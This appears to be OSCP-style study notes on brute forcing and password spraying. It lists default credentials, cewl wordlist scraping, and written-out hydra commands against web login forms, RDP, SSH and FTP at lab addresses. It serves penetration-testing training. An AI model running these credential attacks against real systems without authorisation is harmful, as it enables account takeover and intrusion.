Brute Forcing And Spraying

Notes from oscp.adot8.com — web applications.

#web applications#adot8

source · oscp.adot8.com · web-applications/brute-forcing-and-spraying ↗

Brute Forcing and Spraying

Common Usernames

🐺 howlsec@kalicode

01root
02admin
03administrator

Common Passwords

🐺 howlsec@kalicode

01admin
02root
03toor
04password
05Username:Username     <--- upercase first letter
06username:username     <--- lowercase first letter
07AppName:AppName       <--- Test upper and lower

Scrape website for potential passwords

🐺 howlsec@kalicode

01cewl <url>
02cewl --lower <url>
03cewl --upper <url>

{% hint style="danger" %} Test uppercase and lowercase {% endhint %}

Hydra

Login Portals

Example 1

Capture in Burp

Username and Password converted to base64 upon sending
Error code 403 = failed

🐺 howlsec@kalicode

01hydra -I -f -L usernames.txt -P passwords.txt 'http-post-form://192.168.165.61:8081/service/rapture/session:username=^USER64^&password=^PASS64^:C=/:F=403'

hydra -I -vV -f -L users.txt -P passwords.txt 'http-post-form://192.168.165.61:8081/service/rapture/session:username=^USER64^&password=^PASS64^:C=/:F=403'

I - ignore restore files
vV - verbose mode
f - stop upon success
L - username list
P - password list
^USER64^ ^PASS64^ - placements for username and password + base64 encode
C=/ - establish session cookies at the URL
F=403 - HTTP 403 means invalid login

Example 2

🐺 howlsec@kalicode

01hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 
02http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

🐺 howlsec@kalicode

01hydra -l admin -P ~/rockyou.txt http-get://192.168.178.201 -vV

Other services

🐺 howlsec@kalicode

01hydra -vV -L names.txt -p 'SuperS3cure1337#' 192.168.178.202 rdp -t 10
02hydra -vV -l itadmin -P ~/rockyou.txt 192.168.178.202 -t 10 ssh
03hydra -vV -l itadmin -P ~/rockyou.txt 192.168.178.202 -t 10 ftp